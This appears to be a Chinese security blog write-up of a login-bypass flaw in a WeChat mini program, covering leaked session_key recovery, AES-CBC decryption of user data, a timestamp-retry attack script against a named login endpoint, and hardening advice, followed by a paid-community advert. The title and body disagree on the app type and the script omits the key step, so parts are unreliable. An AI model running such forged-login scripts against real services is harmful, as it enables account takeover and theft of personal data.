【SRC】某选课小程序任意用户登录漏洞深度剖析

【SRC】某选课小程序任意用户登录漏洞深度剖析

原创 ashui Rot5pider安全团队 2025-04-22 00:35

某小程序任意用户登录漏洞深度剖析

一、漏洞场景复现

(一)漏洞复现

  1. 目标系统
    :某金融类小程序(版本V2.3.1)


1. 测试工具
:Burp Suite Pro v1.8.4 + WechatDevTools v1.18.0

  1. 关键参数

  2. encryptedData
    :AES-CBC加密的用户敏感数据

  3. iv
    :16字节初始化向量

  4. jsCode
    :微信登录临时凭证(有效期5分钟)

  5. 缺失参数:session_key
    (会话密钥)

1、抓包,发现有encryptedData和iv,但少了sessionkey,却多了jsCode等巴拉巴拉的参数和参数值。


发现appletLoginAuthUri所需要的参数,正好都一并泄露了,传入值,访问后 嗯,这不是正缺少的sessionkey吗


使用bp的插件进行解密,发现sessionkey和iv和密文都是正确的,可以成功解出明文。


重新生成密文,替换为原来的请求包,但是一直无法登录成功(没截图)猜测是时间戳的问题 重复原来的操作,并替换时间戳。


到此成功登录。

二、漏洞原理分析

(一)加密链路缺陷

  1. 前端暴露密钥要素
    通过小程序逆向工程发现:
// wx.login接口明文返回jsCode
wx.login({
  success(res) {
    console.log(res.code); // 直接暴露jsCode
  }
});

  1. 后端响应泄露密钥材料
    抓取登录接口响应包:
HTTP/1.1 200 OK
Content-Type: application/json

{
  "encryptedData": "...",
  "iv": "...",
  "session_key": "0123456789abcdef0123456789abcdef" // 核心密钥泄露
}

(二)攻击链路推演

graph TD
    A[获取jsCode] --> B[构造虚假登录请求]
    B --> C{后端响应}
    C -->|包含session_key| D[解密encryptedData]
    D --> E[伪造完整会话]
    E --> F[绕过实名认证]

三、漏洞利用实战

(一)密钥重组

  1. AES-CBC参数准备
from Crypto.Cipher import AES
import base64

def decrypt(session_key, iv, encrypted_data):
    cipher = AES.new(session_key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(base64.b64decode(encrypted_data))
    return decrypted.decode('utf-8')

  1. 时间戳同步突破
    发现服务端时间校验逻辑:
// 后端时间校验代码片段
long clientTime = request.getHeader("X-Timestamp");
if (Math.abs(clientTime - System.currentTimeMillis()) > 300000) {
    throw new InvalidTimestampException();
}

(二)自动化攻击脚本

import requests
import time

TARGET_URL = "https://api.wechat-loan.com/login"
HEADERS = {
    "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.36",
    "X-Requested-With": "XMLHttpRequest"
}

def exploit():
    # 获取当前时间戳(毫秒)
    timestamp = int(time.time() * 1000)
    
    # 构造恶意请求
    payload = {
        "jsCode": "023f4a5b6c8d9e0f1a2b3c4d5e6f7a8b9c",
        "encryptedData": "CvYyQ2...",
        "iv": "XyZwVu...",
        "timestamp": timestamp
    }
    
    # 发送请求
    response = requests.post(TARGET_URL, json=payload, headers=HEADERS)
    
    # 时间戳修正循环
    while "invalid timestamp" in response.text.lower():
        timestamp += 1000  # 毫秒级微调
        payload["timestamp"] = timestamp
        response = requests.post(TARGET_URL, json=payload, headers=HEADERS)
    
    return response.json()

if __name__ == "__main__":
    session = exploit()
    print("Session Token:", session.get("token"))

四、漏洞危害评估

(一)攻击面分析

  1. 数据窃取链路

  2. 用户实名信息(姓名/身份证号)

  3. 微信绑定手机号

  4. 设备硬件特征码

  5. 通过encryptedData
    可解析出:

  6. 业务风险场景

  7. 绕过风控策略批量注册虚假账号

  8. 操纵高价值账户进行非法转账

  9. 结合短信嗅探实现完整账户接管

五、防御体系重构建议

(一)加密机制升级

  1. 密钥管理体系

  2. 采用ECDH密钥协商协议动态生成session_key

  3. 实现密钥轮转机制(每7天更换)

  4. 加密算法强化

// 推荐加密方案(Java实现)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));

(二)时间戳防御矩阵

  1. 时钟回拨防护
# 服务端时间校验逻辑
def validate_timestamp(client_ts):
    server_ts = time.time()
    if abs(server_ts - client_ts) > 5 * 60:
        raise TimeAttackDetected()
    if client_ts < (server_ts - 300):
        raise TimestampBacktrackDetected()

  1. 时区标准化处理
    强制所有请求携带X-Timezone
    头并进行UTC时间校准。

六、总结与启示

本案例揭示了典型移动端安全三大黑洞:
1. 加密组件滥用
:AES-CBC模式缺乏完整性保护

  1. 时间校验缺失
    :5分钟时间窗口足以实施暴力破解

  2. 敏感参数泄露
    :前端暴露关键密钥要素

建议企业立即开展:
1. 小程序专项安全审计(每季度一次)

  1. 建立API参数黑白名单管控机制

  2. 部署RASP实时攻击检测系统

【限时
6
折!华普安全研究星球:以
原创实战
为主+SRC/内网渗透核心资源库,助你在漏洞挖掘、SRC挖掘少走90%弯路】当90%的网络安全学习者还在重复刷题、泡论坛找零散资料时,华普安全研究星球已构建起完整的「攻防实战知识生态」:

✅ 原创深度技术文档(独家SRC漏洞报告/代码审计报告)

✅ 实战中使用到的工具分享

✅ 全年更新SRC挖掘、代码审计报告(含最新0day验证思路)

✅ 漏洞挖掘思维导图

✅内部知识库目前建设中、后续进入圈子免费进入


实战为王
】不同于传统课程的纸上谈兵!!

图片
图片
图片
图片
图片
图片

图片

后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~

有任何问题可后台留言

往期精选

围观

PHP代码审计学习

丨更多

热文

浅谈应急响应

丨更多

·end·

—如果喜欢,快分享给你的朋友们吧—

我们一起愉快的玩耍吧

【免责声明】

“Rot5pider安全团队”作为专注于信息安全技术研究的自媒体平台,致力于传播网络安全领域的前沿知识与防御技术。本平台所载文章、工具及案例均用于合法合规的技术研讨与安全防护演练,严禁任何形式的非法入侵、数据窃取等危害网络安全的行为。所有技术文档仅代表作者研究过程中的技术观察,不构成实际操作建议,更不作为任何法律行为的背书。